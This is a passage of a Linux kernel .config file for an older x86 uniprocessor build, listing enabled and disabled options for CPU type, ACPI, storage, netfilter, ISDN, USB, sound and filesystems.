CONFIG_X86_SUMMIT is not set # CONFIG_X86_BIGSMP is not set # CONFIG_X86_VISWS is not set # CONFIG_X86_GENERICARCH is not set # CONFIG_X86_ES7000 is not set # CONFIG_M386 is not set # CONFIG_M486 is not set # CONFIG_M586 is not set # CONFIG_M586TSC is not set # CONFIG_M586MMX is not set # CONFIG_M686 is not set CONFIG_MPENTIUMII=y # CONFIG_MPENTIUMIII is not set # CONFIG_MPENTIUM4 is not set # CONFIG_MK6 is not set # CONFIG_MK7 is not set # CONFIG_MK8 is not set # CONFIG_MELAN is not set # CONFIG_MCRUSOE is not set # CONFIG_MWINCHIPC6 is not set # CONFIG_MWINCHIP2 is not set # CONFIG_MWINCHIP3D is not set # CONFIG_MCYRIXIII is not set # CONFIG_MVIAC3_2 is not set # CONFIG_X86_GENERIC is not set CONFIG_X86_CMPXCHG=y CONFIG_X86_XADD=y CONFIG_X86_L1_CACHE_SHIFT=5 CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_X86_WP_WORKS_OK=y CONFIG_X86_INVLPG=y CONFIG_X86_BSWAP=y CONFIG_X86_POPAD_OK=y CONFIG_X86_GOOD_APIC=y CONFIG_X86_INTEL_USERCOPY=y CONFIG_X86_USE_PPRO_CHECKSUM=y # CONFIG_HPET_TIMER is not set # CONFIG_HPET_EMULATE_RTC is not set # CONFIG_SMP is not set CONFIG_PREEMPT=y CONFIG_X86_UP_APIC=y CONFIG_X86_UP_IOAPIC=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y CONFIG_X86_TSC=y CONFIG_X86_MCE=y CONFIG_X86_MCE_NONFATAL=y # CONFIG_X86_MCE_P4THERMAL is not set # CONFIG_TOSHIBA is not set # CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set CONFIG_NOHIGHMEM=y # CONFIG_HIGHMEM4G is not set # CONFIG_HIGHMEM64G is not set # CONFIG_MATH_EMULATION is not set CONFIG_MTRR=y # CONFIG_EFI is not set CONFIG_HAVE_DEC_LOCK=y # # Power management options (ACPI, APM) # # CONFIG_PM is not set # # ACPI (Advanced Configuration and Power Interface) Support # CONFIG_ACPI=y CONFIG_ACPI_BOOT=y CONFIG_ACPI_INTERPRETER=y CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y CONFIG_ACPI_FAN=y CONFIG_ACPI_PROCESSOR=y CONFIG_ACPI_THERMAL=y # CONFIG_ACPI_ASUS is not set # CONFIG_ACPI_TOSHIBA is not set # CONFIG_ACPI_DEBUG is not set CONFIG_ACPI_BUS=y CONFIG_ACPI_EC=y CONFIG_ACPI_POWER=y CONFIG_ACPI_PCI=y CONFIG_ACPI_SYSTEM=y # CONFIG_ACPI_RELAXED_AML is not set # # CPU Frequency scaling # # CONFIG_CPU_FREQ is not set # # Bus options (PCI, PCMCIA, EISA, MCA, ISA) # CONFIG_PCI=y # CONFIG_PCI_GOBIOS is not set # CONFIG_PCI_GODIRECT is not set CONFIG_PCI_GOANY=y CONFIG_PCI_BIOS=y CONFIG_PCI_DIRECT=y # CONFIG_PCI_USE_VECTOR is not set CONFIG_PCI_LEGACY_PROC=y CONFIG_PCI_NAMES=y CONFIG_ISA=y # CONFIG_EISA is not set # CONFIG_MCA is not set # CONFIG_SCx200 is not set CONFIG_HOTPLUG=y # # PCMCIA/CardBus support # # CONFIG_PCMCIA is not set CONFIG_PCMCIA_PROBE=y # # PCI Hotplug Support # # # Executable file formats # CONFIG_BINFMT_ELF=y CONFIG_BINFMT_AOUT=m CONFIG_BINFMT_MISC=m # # Device Drivers # # # Generic Driver Options # # CONFIG_FW_LOADER is not set # # Memory Technology Devices (MTD) # # CONFIG_MTD is not set # # Parallel port support # CONFIG_PARPORT=m CONFIG_PARPORT_PC=m CONFIG_PARPORT_PC_CML1=m # CONFIG_PARPORT_SERIAL is not set # CONFIG_PARPORT_OTHER is not set # CONFIG_PARPORT_1284 is not set # # Plug and Play support # CONFIG_PNP=y # CONFIG_PNP_DEBUG is not set # # Protocols # # # Block devices # CONFIG_BLK_DEV_FD=y # CONFIG_BLK_DEV_XD is not set # CONFIG_PARIDE is not set # CONFIG_BLK_CPQ_DA is not set # CONFIG_BLK_CPQ_CISS_DA is not set # CONFIG_BLK_DEV_DAC960 is not set CONFIG_BLK_DEV_LOOP=m CONFIG_BLK_DEV_CRYPTOLOOP=m CONFIG_BLK_DEV_NBD=m CONFIG_BLK_DEV_RAM=m CONFIG_BLK_DEV_RAM_SIZE=4096 CONFIG_BLK_DEV_INITRD=y CONFIG_LBD=y # # ATA/ATAPI/MFM/RLL support # CONFIG_IDE=y CONFIG_BLK_DEV_IDE=y # # Please see Documentation/ide.txt for help/info on IDE drives # # CONFIG_BLK_DEV_HD_IDE is not set CONFIG_BLK_DEV_IDEDISK=y CONFIG_IDEDISK_MULTI_MODE=y # CONFIG_IDEDISK_STROKE is not set CONFIG_BLK_DEV_IDECD=m CONFIG_BLK_DEV_IDEFLOPPY=m CONFIG_BLK_DEV_IDESCSI=m # CONFIG_IDE_TASK_IOCTL is not set # # IDE chipset support/bugfixes # # CONFIG_BLK_DEV_CMD640 is not set # CONFIG_BLK_DEV_IDEPNP is not set CONFIG_BLK_DEV_IDEPCI=y CONFIG_IDEPCI_SHARE_IRQ=y # CONFIG_BLK_DEV_OFFBOARD is not set CONFIG_BLK_DEV_GENERIC=y # CONFIG_BLK_DEV_RZ1000 is not set CONFIG_BLK_DEV_IDEDMA_PCI=y # CONFIG_BLK_DEV_IDEDMA_FORCED is not set CONFIG_IDEDMA_PCI_AUTO=y # CONFIG_IDEDMA_ONLYDISK is not set CONFIG_BLK_DEV_ADMA=y # CONFIG_BLK_DEV_AEC62XX is not set # CONFIG_BLK_DEV_ALI15X3 is not set # CONFIG_BLK_DEV_AMD74XX is not set # CONFIG_BLK_DEV_CMD64X is not set # CONFIG_BLK_DEV_TRIFLEX is not set # CONFIG_BLK_DEV_CY82C693 is not set # CONFIG_BLK_DEV_CS5530 is not set # CONFIG_BLK_DEV_HPT34X is not set # CONFIG_BLK_DEV_HPT366 is not set # CONFIG_BLK_DEV_SC1200 is not set CONFIG_BLK_DEV_PIIX=y # CONFIG_BLK_DEV_NS87415 is not set # CONFIG_BLK_DEV_PDC202XX_OLD is not set # CONFIG_BLK_DEV_PDC202XX_NEW is not set # CONFIG_BLK_DEV_SVWKS is not set # CONFIG_BLK_DEV_SIIMAGE is not set # CONFIG_BLK_DEV_SIS5513 is not set # CONFIG_BLK_DEV_SLC90E66 is not set # CONFIG_BLK_DEV_TRM290 is not set # CONFIG_BLK_DEV_VIA82CXXX is not set # CONFIG_IDE_CHIPSETS is not set CONFIG_BLK_DEV_IDEDMA=y # CONFIG_IDEDMA_IVB is not set CONFIG_IDEDMA_AUTO=y # CONFIG_DMA_NONPCI is not set # CONFIG_BLK_DEV_HD is not set # # SCSI device support # CONFIG_SCSI=m CONFIG_SCSI_PROC_FS=y # # SCSI support type (disk, tape, CD-ROM) # CONFIG_BLK_DEV_SD=m # CONFIG_CHR_DEV_ST is not set # CONFIG_CHR_DEV_OSST is not set CONFIG_BLK_DEV_SR=m # CONFIG_BLK_DEV_SR_VENDOR is not set CONFIG_CHR_DEV_SG=m # # Some SCSI devices (e.g. CD jukebox) support multiple LUNs # # CONFIG_SCSI_MULTI_LUN is not set CONFIG_SCSI_REPORT_LUNS=y # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set # # SCSI low-level drivers # # CONFIG_BLK_DEV_3W_XXXX_RAID is not set # CONFIG_SCSI_7000FASST is not set # CONFIG_SCSI_ACARD is not set CONFIG_SCSI_AHA152X=m # CONFIG_SCSI_AHA1542 is not set # CONFIG_SCSI_AIC7XXX is not set # CONFIG_SCSI_AIC7XXX_OLD is not set # CONFIG_SCSI_AIC79XX is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_IN2000 is not set # CONFIG_SCSI_MEGARAID is not set # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_CPQFCTS is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_DTC3280 is not set # CONFIG_SCSI_EATA is not set # CONFIG_SCSI_EATA_PIO is not set # CONFIG_SCSI_FUTURE_DOMAIN is not set # CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_GENERIC_NCR5380 is not set # CONFIG_SCSI_GENERIC_NCR5380_MMIO is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INIA100 is not set # CONFIG_SCSI_PPA is not set # CONFIG_SCSI_IMM is not set # CONFIG_SCSI_NCR53C406A is not set # CONFIG_SCSI_SYM53C8XX_2 is not set # CONFIG_SCSI_PAS16 is not set # CONFIG_SCSI_PSI240I is not set # CONFIG_SCSI_QLOGIC_FAS is not set # CONFIG_SCSI_QLOGIC_ISP is not set # CONFIG_SCSI_QLOGIC_FC is not set # CONFIG_SCSI_QLOGIC_1280 is not set # CONFIG_SCSI_SYM53C416 is not set # CONFIG_SCSI_DC390T is not set # CONFIG_SCSI_T128 is not set # CONFIG_SCSI_U14_34F is not set # CONFIG_SCSI_ULTRASTOR is not set # CONFIG_SCSI_NSP32 is not set # CONFIG_SCSI_DEBUG is not set # # Old CD-ROM drivers (not SCSI, not IDE) # # CONFIG_CD_NO_IDESCSI is not set # # Multi-device support (RAID and LVM) # # CONFIG_MD is not set # # Fusion MPT device support # # CONFIG_FUSION is not set # # I2O device support # # CONFIG_I2O is not set # # Networking support # CONFIG_NET=y # # Networking options # CONFIG_PACKET=y CONFIG_PACKET_MMAP=y CONFIG_NETLINK_DEV=y CONFIG_UNIX=y CONFIG_NET_KEY=y CONFIG_INET=y CONFIG_IP_MULTICAST=y # CONFIG_IP_ADVANCED_ROUTER is not set # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE is not set # CONFIG_IP_MROUTE is not set # CONFIG_INET_ECN is not set CONFIG_SYN_COOKIES=y CONFIG_INET_AH=m CONFIG_INET_ESP=m CONFIG_INET_IPCOMP=m # # IP: Virtual Server Configuration # # CONFIG_IP_VS is not set # CONFIG_DECNET is not set # CONFIG_BRIDGE is not set CONFIG_NETFILTER=y # CONFIG_NETFILTER_DEBUG is not set # # IP: Netfilter Configuration # CONFIG_IP_NF_CONNTRACK=m CONFIG_IP_NF_FTP=m CONFIG_IP_NF_IRC=m CONFIG_IP_NF_TFTP=m CONFIG_IP_NF_AMANDA=m CONFIG_IP_NF_QUEUE=m CONFIG_IP_NF_IPTABLES=m CONFIG_IP_NF_MATCH_LIMIT=m CONFIG_IP_NF_MATCH_IPRANGE=m CONFIG_IP_NF_MATCH_MAC=m CONFIG_IP_NF_MATCH_PKTTYPE=m CONFIG_IP_NF_MATCH_MARK=m CONFIG_IP_NF_MATCH_MULTIPORT=m CONFIG_IP_NF_MATCH_TOS=m CONFIG_IP_NF_MATCH_RECENT=m CONFIG_IP_NF_MATCH_ECN=m CONFIG_IP_NF_MATCH_DSCP=m CONFIG_IP_NF_MATCH_AH_ESP=m CONFIG_IP_NF_MATCH_LENGTH=m CONFIG_IP_NF_MATCH_TTL=m CONFIG_IP_NF_MATCH_TCPMSS=m CONFIG_IP_NF_MATCH_HELPER=m CONFIG_IP_NF_MATCH_STATE=m CONFIG_IP_NF_MATCH_CONNTRACK=m CONFIG_IP_NF_MATCH_OWNER=m CONFIG_IP_NF_FILTER=m CONFIG_IP_NF_TARGET_REJECT=m CONFIG_IP_NF_NAT=m CONFIG_IP_NF_NAT_NEEDED=y CONFIG_IP_NF_TARGET_MASQUERADE=m CONFIG_IP_NF_TARGET_REDIRECT=m CONFIG_IP_NF_TARGET_NETMAP=m CONFIG_IP_NF_TARGET_SAME=m # CONFIG_IP_NF_NAT_LOCAL is not set CONFIG_IP_NF_NAT_IRC=m CONFIG_IP_NF_NAT_FTP=m CONFIG_IP_NF_NAT_TFTP=m CONFIG_IP_NF_NAT_AMANDA=m CONFIG_IP_NF_MANGLE=m CONFIG_IP_NF_TARGET_TOS=m CONFIG_IP_NF_TARGET_ECN=m CONFIG_IP_NF_TARGET_DSCP=m CONFIG_IP_NF_TARGET_MARK=m CONFIG_IP_NF_TARGET_CLASSIFY=m CONFIG_IP_NF_TARGET_LOG=m CONFIG_IP_NF_TARGET_ULOG=m CONFIG_IP_NF_TARGET_TCPMSS=m CONFIG_IP_NF_ARPTABLES=m CONFIG_IP_NF_ARPFILTER=m CONFIG_IP_NF_ARP_MANGLE=m # CONFIG_IP_NF_COMPAT_IPCHAINS is not set # CONFIG_IP_NF_COMPAT_IPFWADM is not set CONFIG_XFRM=y CONFIG_XFRM_USER=m # CONFIG_VLAN_8021Q is not set # CONFIG_LLC2 is not set # CONFIG_IPX is not set # CONFIG_ATALK is not set # # QoS and/or fair queueing # CONFIG_NET_SCHED=y CONFIG_NET_SCH_CBQ=m CONFIG_NET_SCH_HTB=m CONFIG_NET_SCH_CSZ=m CONFIG_NET_SCH_PRIO=m CONFIG_NET_SCH_RED=m CONFIG_NET_SCH_SFQ=m CONFIG_NET_SCH_TEQL=m CONFIG_NET_SCH_TBF=m CONFIG_NET_SCH_GRED=m CONFIG_NET_SCH_DSMARK=m CONFIG_NET_SCH_INGRESS=m CONFIG_NET_QOS=y CONFIG_NET_ESTIMATOR=y CONFIG_NET_CLS=y CONFIG_NET_CLS_TCINDEX=m CONFIG_NET_CLS_ROUTE4=m CONFIG_NET_CLS_ROUTE=y CONFIG_NET_CLS_FW=m CONFIG_NET_CLS_U32=m CONFIG_NET_CLS_RSVP=m CONFIG_NET_CLS_RSVP6=m CONFIG_NET_CLS_POLICE=y # # Network testing # # CONFIG_NET_PKTGEN is not set CONFIG_NETDEVICES=y # # ARCnet devices # # CONFIG_ARCNET is not set # CONFIG_DUMMY is not set # CONFIG_BONDING is not set # CONFIG_EQUALIZER is not set # CONFIG_TUN is not set # CONFIG_NET_SB1000 is not set # # Ethernet (10 or 100Mbit) # CONFIG_NET_ETHERNET=y # CONFIG_MII is not set # CONFIG_HAPPYMEAL is not set # CONFIG_SUNGEM is not set CONFIG_NET_VENDOR_3COM=y # CONFIG_EL1 is not set # CONFIG_EL2 is not set # CONFIG_ELPLUS is not set # CONFIG_EL3 is not set # CONFIG_3C515 is not set CONFIG_VORTEX=m # CONFIG_TYPHOON is not set # CONFIG_LANCE is not set # CONFIG_NET_VENDOR_SMC is not set # CONFIG_NET_VENDOR_RACAL is not set # # Tulip family network device support # # CONFIG_NET_TULIP is not set # CONFIG_DEPCA is not set # CONFIG_HP100 is not set CONFIG_NET_ISA=y # CONFIG_E2100 is not set # CONFIG_EWRK3 is not set # CONFIG_EEXPRESS is not set # CONFIG_EEXPRESS_PRO is not set # CONFIG_HPLAN_PLUS is not set # CONFIG_HPLAN is not set # CONFIG_LP486E is not set # CONFIG_ETH16I is not set CONFIG_NE2000=m # CONFIG_NET_PCI is not set # CONFIG_NET_POCKET is not set # # Ethernet (1000 Mbit) # # CONFIG_ACENIC is not set # CONFIG_DL2K is not set # CONFIG_E1000 is not set # CONFIG_NS83820 is not set # CONFIG_HAMACHI is not set # CONFIG_R8169 is not set # CONFIG_SK98LIN is not set # CONFIG_TIGON3 is not set # # Ethernet (10000 Mbit) # # CONFIG_IXGB is not set # CONFIG_FDDI is not set # CONFIG_PLIP is not set CONFIG_PPP=m CONFIG_PPP_FILTER=y CONFIG_PPP_ASYNC=m CONFIG_PPP_SYNC_TTY=m CONFIG_PPP_DEFLATE=m CONFIG_PPP_BSDCOMP=m # CONFIG_SLIP is not set # # Wireless LAN (non-hamradio) # # CONFIG_NET_RADIO is not set # # Token Ring devices # # CONFIG_TR is not set # CONFIG_NET_FC is not set # # Wan interfaces # # CONFIG_WAN is not set # # Amateur Radio support # # CONFIG_HAMRADIO is not set # # IrDA (infrared) support # # CONFIG_IRDA is not set # # Bluetooth support # CONFIG_BT=m CONFIG_BT_L2CAP=m CONFIG_BT_SCO=m CONFIG_BT_RFCOMM=m CONFIG_BT_RFCOMM_TTY=y CONFIG_BT_BNEP=m CONFIG_BT_BNEP_MC_FILTER=y CONFIG_BT_BNEP_PROTO_FILTER=y # # Bluetooth device drivers # CONFIG_BT_HCIUSB=m CONFIG_BT_USB_SCO=y CONFIG_BT_USB_ZERO_PACKET=y # CONFIG_BT_HCIUART is not set # CONFIG_BT_HCIVHCI is not set # # ISDN subsystem # CONFIG_ISDN_BOOL=y # # Old ISDN4Linux # CONFIG_ISDN=m CONFIG_ISDN_PPP=y CONFIG_ISDN_PPP_VJ=y CONFIG_ISDN_MPP=y CONFIG_ISDN_PPP_BSDCOMP=m CONFIG_ISDN_AUDIO=y CONFIG_ISDN_TTY_FAX=y # # ISDN feature submodules # CONFIG_ISDN_DRV_LOOP=m # # CAPI subsystem # # CONFIG_ISDN_CAPI is not set # # ISDN4Linux hardware drivers # # # Passive cards # CONFIG_ISDN_DRV_HISAX=m # # D-channel protocol features # CONFIG_HISAX_EURO=y # CONFIG_DE_AOC is not set # CONFIG_HISAX_NO_SENDCOMPLETE is not set # CONFIG_HISAX_NO_LLC is not set # CONFIG_HISAX_NO_KEYPAD is not set # CONFIG_HISAX_1TR6 is not set # CONFIG_HISAX_NI1 is not set CONFIG_HISAX_MAX_CARDS=8 # # HiSax supported cards # # CONFIG_HISAX_16_0 is not set CONFIG_HISAX_16_3=y # CONFIG_HISAX_TELESPCI is not set # CONFIG_HISAX_S0BOX is not set # CONFIG_HISAX_AVM_A1 is not set # CONFIG_HISAX_FRITZPCI is not set # CONFIG_HISAX_AVM_A1_PCMCIA is not set # CONFIG_HISAX_ELSA is not set # CONFIG_HISAX_IX1MICROR2 is not set # CONFIG_HISAX_DIEHLDIVA is not set # CONFIG_HISAX_ASUSCOM is not set # CONFIG_HISAX_TELEINT is not set # CONFIG_HISAX_HFCS is not set # CONFIG_HISAX_SEDLBAUER is not set # CONFIG_HISAX_SPORTSTER is not set # CONFIG_HISAX_MIC is not set # CONFIG_HISAX_NETJET is not set # CONFIG_HISAX_NETJET_U is not set # CONFIG_HISAX_NICCY is not set # CONFIG_HISAX_ISURF is not set # CONFIG_HISAX_HSTSAPHIR is not set # CONFIG_HISAX_BKM_A4T is not set # CONFIG_HISAX_SCT_QUADRO is not set # CONFIG_HISAX_GAZEL is not set # CONFIG_HISAX_HFC_PCI is not set # CONFIG_HISAX_W6692 is not set # CONFIG_HISAX_HFC_SX is not set # CONFIG_HISAX_ENTERNOW_PCI is not set CONFIG_HISAX_DEBUG=y # # Active cards # # CONFIG_ISDN_DRV_ICN is not set # CONFIG_ISDN_DRV_PCBIT is not set # CONFIG_ISDN_DRV_SC is not set # CONFIG_ISDN_DRV_ACT2000 is not set # CONFIG_HYSDN is not set # # Telephony Support # # CONFIG_PHONE is not set # # Input device support # CONFIG_INPUT=y # # Userland interfaces # CONFIG_INPUT_MOUSEDEV=y CONFIG_INPUT_MOUSEDEV_PSAUX=y CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 # CONFIG_INPUT_JOYDEV is not set # CONFIG_INPUT_TSDEV is not set # CONFIG_INPUT_EVDEV is not set # CONFIG_INPUT_EVBUG is not set # # Input I/O drivers # # CONFIG_GAMEPORT is not set CONFIG_SOUND_GAMEPORT=y CONFIG_SERIO=y CONFIG_SERIO_I8042=y # CONFIG_SERIO_SERPORT is not set # CONFIG_SERIO_CT82C710 is not set # CONFIG_SERIO_PARKBD is not set # CONFIG_SERIO_PCIPS2 is not set # # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set # CONFIG_KEYBOARD_NEWTON is not set CONFIG_INPUT_MOUSE=y CONFIG_MOUSE_PS2=y # CONFIG_MOUSE_SERIAL is not set # CONFIG_MOUSE_INPORT is not set # CONFIG_MOUSE_LOGIBM is not set # CONFIG_MOUSE_PC110PAD is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TOUCHSCREEN is not set # CONFIG_INPUT_MISC is not set # # Character devices # CONFIG_VT=y CONFIG_VT_CONSOLE=y CONFIG_HW_CONSOLE=y # CONFIG_SERIAL_NONSTANDARD is not set # # Serial drivers # CONFIG_SERIAL_8250=y CONFIG_SERIAL_8250_CONSOLE=y # CONFIG_SERIAL_8250_ACPI is not set CONFIG_SERIAL_8250_NR_UARTS=4 # CONFIG_SERIAL_8250_EXTENDED is not set # # Non-8250 serial port support # CONFIG_SERIAL_CORE=y CONFIG_SERIAL_CORE_CONSOLE=y CONFIG_UNIX98_PTYS=y CONFIG_UNIX98_PTY_COUNT=256 CONFIG_PRINTER=m # CONFIG_LP_CONSOLE is not set # CONFIG_PPDEV is not set # CONFIG_TIPAR is not set # # I2C support # CONFIG_I2C=m CONFIG_I2C_CHARDEV=m # # I2C Algorithms # # CONFIG_I2C_ALGOBIT is not set # CONFIG_I2C_ALGOPCF is not set # # I2C Hardware Bus support # # CONFIG_SCx200_ACB is not set # # I2C Hardware Sensors Chip support # # CONFIG_I2C_SENSOR is not set # # Mice # # CONFIG_BUSMOUSE is not set # CONFIG_QIC02_TAPE is not set # # IPMI # # CONFIG_IPMI_HANDLER is not set # # Watchdog Cards # # CONFIG_WATCHDOG is not set # CONFIG_HW_RANDOM is not set CONFIG_NVRAM=m CONFIG_RTC=m # CONFIG_GEN_RTC is not set # CONFIG_DTLK is not set # CONFIG_R3964 is not set # CONFIG_APPLICOM is not set # # Ftape, the floppy tape device driver # # CONFIG_FTAPE is not set CONFIG_AGP=y # CONFIG_AGP_ALI is not set # CONFIG_AGP_ATI is not set # CONFIG_AGP_AMD is not set # CONFIG_AGP_AMD64 is not set CONFIG_AGP_INTEL=y # CONFIG_AGP_NVIDIA is not set # CONFIG_AGP_SIS is not set # CONFIG_AGP_SWORKS is not set # CONFIG_AGP_VIA is not set CONFIG_DRM=y # CONFIG_DRM_TDFX is not set # CONFIG_DRM_GAMMA is not set # CONFIG_DRM_R128 is not set # CONFIG_DRM_RADEON is not set # CONFIG_DRM_I810 is not set # CONFIG_DRM_I830 is not set CONFIG_DRM_MGA=y # CONFIG_DRM_SIS is not set # CONFIG_MWAVE is not set # CONFIG_RAW_DRIVER is not set # CONFIG_HANGCHECK_TIMER is not set # # Multimedia devices # CONFIG_VIDEO_DEV=m # # Video For Linux # # # Video Adapters # # CONFIG_VIDEO_PMS is not set # CONFIG_VIDEO_BWQCAM is not set # CONFIG_VIDEO_CPIA is not set # CONFIG_VIDEO_SAA5249 is not set # CONFIG_TUNER_3036 is not set # CONFIG_VIDEO_ZORAN is not set # CONFIG_VIDEO_SAA7134 is not set # CONFIG_VIDEO_MXB is not set # CONFIG_VIDEO_DPC is not set # CONFIG_VIDEO_HEXIUM_ORION is not set # CONFIG_VIDEO_HEXIUM_GEMINI is not set # # Radio Adapters # # CONFIG_RADIO_CADET is not set # CONFIG_RADIO_RTRACK is not set # CONFIG_RADIO_RTRACK2 is not set # CONFIG_RADIO_AZTECH is not set # CONFIG_RADIO_GEMTEK is not set # CONFIG_RADIO_GEMTEK_PCI is not set # CONFIG_RADIO_MAXIRADIO is not set # CONFIG_RADIO_MAESTRO is not set # CONFIG_RADIO_SF16FMI is not set # CONFIG_RADIO_TERRATEC is not set # CONFIG_RADIO_TRUST is not set # CONFIG_RADIO_TYPHOON is not set # CONFIG_RADIO_ZOLTRIX is not set # # Digital Video Broadcasting Devices # # CONFIG_DVB is not set # CONFIG_VIDEO_BTCX is not set # # Graphics support # # CONFIG_FB is not set # CONFIG_VIDEO_SELECT is not set # # Console display driver support # CONFIG_VGA_CONSOLE=y # CONFIG_MDA_CONSOLE is not set CONFIG_DUMMY_CONSOLE=y # # Sound # CONFIG_SOUND=m # # Advanced Linux Sound Architecture # # CONFIG_SND is not set # # Open Sound System # CONFIG_SOUND_PRIME=m # CONFIG_SOUND_BT878 is not set # CONFIG_SOUND_CMPCI is not set # CONFIG_SOUND_EMU10K1 is not set # CONFIG_SOUND_FUSION is not set # CONFIG_SOUND_CS4281 is not set # CONFIG_SOUND_ES1370 is not set # CONFIG_SOUND_ES1371 is not set # CONFIG_SOUND_ESSSOLO1 is not set # CONFIG_SOUND_MAESTRO is not set # CONFIG_SOUND_ICH is not set # CONFIG_SOUND_SONICVIBES is not set # CONFIG_SOUND_TRIDENT is not set # CONFIG_SOUND_MSNDCLAS is not set # CONFIG_SOUND_MSNDPIN is not set # CONFIG_SOUND_VIA82CXXX is not set CONFIG_SOUND_OSS=m # CONFIG_SOUND_TRACEINIT is not set # CONFIG_SOUND_DMAP is not set # CONFIG_SOUND_SGALAXY is not set # CONFIG_SOUND_ADLIB is not set # CONFIG_SOUND_ACI_MIXER is not set # CONFIG_SOUND_CS4232 is not set # CONFIG_SOUND_SSCAPE is not set # CONFIG_SOUND_GUS is not set # CONFIG_SOUND_VMIDI is not set # CONFIG_SOUND_TRIX is not set # CONFIG_SOUND_MSS is not set # CONFIG_SOUND_MPU401 is not set # CONFIG_SOUND_NM256 is not set # CONFIG_SOUND_MAD16 is not set # CONFIG_SOUND_PAS is not set # CONFIG_SOUND_PSS is not set CONFIG_SOUND_SB=m # CONFIG_SOUND_AWE32_SYNTH is not set # CONFIG_SOUND_WAVEFRONT is not set # CONFIG_SOUND_MAUI is not set # CONFIG_SOUND_YM3812 is not set # CONFIG_SOUND_OPL3SA1 is not set # CONFIG_SOUND_OPL3SA2 is not set # CONFIG_SOUND_YMFPCI is not set # CONFIG_SOUND_UART6850 is not set # CONFIG_SOUND_AEDSP16 is not set # CONFIG_SOUND_TVMIXER is not set # CONFIG_SOUND_KAHLUA is not set # CONFIG_SOUND_ALI5455 is not set # CONFIG_SOUND_FORTE is not set # CONFIG_SOUND_RME96XX is not set # CONFIG_SOUND_AD1980 is not set # # USB support # CONFIG_USB=m # CONFIG_USB_DEBUG is not set # # Miscellaneous USB options # CONFIG_USB_DEVICEFS=y # # USB Host Controller Drivers # # CONFIG_USB_EHCI_HCD is not set # CONFIG_USB_OHCI_HCD is not set CONFIG_USB_UHCI_HCD=m # # USB Device Class drivers # # CONFIG_USB_AUDIO is not set # # USB Bluetooth TTY can only be used with disabled Bluetooth subsystem # # CONFIG_USB_MIDI is not set # CONFIG_USB_ACM is not set CONFIG_USB_PRINTER=m CONFIG_USB_STORAGE=m # CONFIG_USB_STORAGE_DEBUG is not set # CONFIG_USB_STORAGE_FREECOM is not set # CONFIG_USB_STORAGE_ISD200 is not set # CONFIG_USB_STORAGE_DPCM is not set # # USB Human Interface Devices (HID) # CONFIG_USB_HID=m CONFIG_USB_HIDINPUT=y # CONFIG_USB_HIDDEV is not set # # USB HID Boot Protocol drivers # # CONFIG_USB_KBD is not set # CONFIG_USB_MOUSE is not set # CONFIG_USB_AIPTEK is not set # CONFIG_USB_WACOM is not set # CONFIG_USB_KBTAB is not set # CONFIG_USB_POWERMATE is not set # CONFIG_USB_XPAD is not set # # USB Imaging devices # # CONFIG_USB_SCANNER is not set # CONFIG_USB_MICROTEK is not set # # USB Multimedia devices # # CONFIG_USB_DABUSB is not set # CONFIG_USB_IBMCAM is not set # CONFIG_USB_KONICAWC is not set CONFIG_USB_OV511=m # CONFIG_USB_PWC is not set # CONFIG_USB_SE401 is not set # CONFIG_USB_STV680 is not set # CONFIG_USB_W9968CF is not set # # USB Network adaptors # # CONFIG_USB_KAWETH is not set # CONFIG_USB_PEGASUS is not set # CONFIG_USB_USBNET is not set # # USB port drivers # # CONFIG_USB_USS720 is not set # # USB Serial Converter support # # CONFIG_USB_SERIAL is not set # # USB Miscellaneous drivers # # CONFIG_USB_TIGL is not set # CONFIG_USB_LCD is not set # # File systems # CONFIG_EXT2_FS=y # CONFIG_EXT2_FS_XATTR is not set CONFIG_EXT3_FS=y CONFIG_EXT3_FS_XATTR=y # CONFIG_EXT3_FS_POSIX_ACL is not set # CONFIG_EXT3_FS_SECURITY is not set CONFIG_JBD=y # CONFIG_JBD_DEBUG is not set CONFIG_FS_MBCACHE=y CONFIG_REISERFS_FS=y # CONFIG_REISERFS_CHECK is not set CONFIG_REISERFS_PROC_INFO=y # CONFIG_JFS_FS is not set # CONFIG_XFS_FS is not set CONFIG_MINIX_FS=m CONFIG_ROMFS_FS=m CONFIG_QUOTA=y CONFIG_QFMT_V1=m CONFIG_QFMT_V2=m CONFIG_QUOTACTL=y CONFIG_AUTOFS_FS=m CONFIG_AUTOFS4_FS=m # # CD-ROM/DVD Filesystems # CONFIG_ISO9660_FS=m CONFIG_JOLIET=y # CONFIG_ZISOFS is not set CONFIG_UDF_FS=y # # DOS/FAT/NT Filesystems # CONFIG_FAT_FS=m CONFIG_MSDOS_FS=m CONFIG_VFAT_FS=m CONFIG_NTFS_FS=m # CONFIG_NTFS_DEBUG is not set # CONFIG_NTFS_RW is not set # # Pseudo filesystems # CONFIG_PROC_FS=y CONFIG_PROC_KCORE=y CONFIG_DEVPTS_FS=y # CONFIG_DEVPTS_FS_XATTR is not set CONFIG_TMPFS=y # CONFIG_HUGETLBFS is not set # CONFIG_HUGETLB_PAGE is not set CONFIG_RAMFS=y # # Miscellaneous filesystems # CONFIG_CRAMFS=m # CONFIG_VXFS_FS is not set # CONFIG_HPFS_FS is not set # CONFIG_QNX4FS_FS is not set # CONFIG_SYSV_FS is not set # CONFIG_UFS_FS is not set # # Network File Systems # CONFIG_NFS_FS=m CONFIG_NFS_V3=y CONFIG_NFSD=m CONFIG_NFSD_V3=y CONFIG_LOCKD=m CONFIG_LOCKD_V4=y CONFIG_EXPORTFS=m CONFIG_SUNRPC=m CONFIG_SMB_FS=m 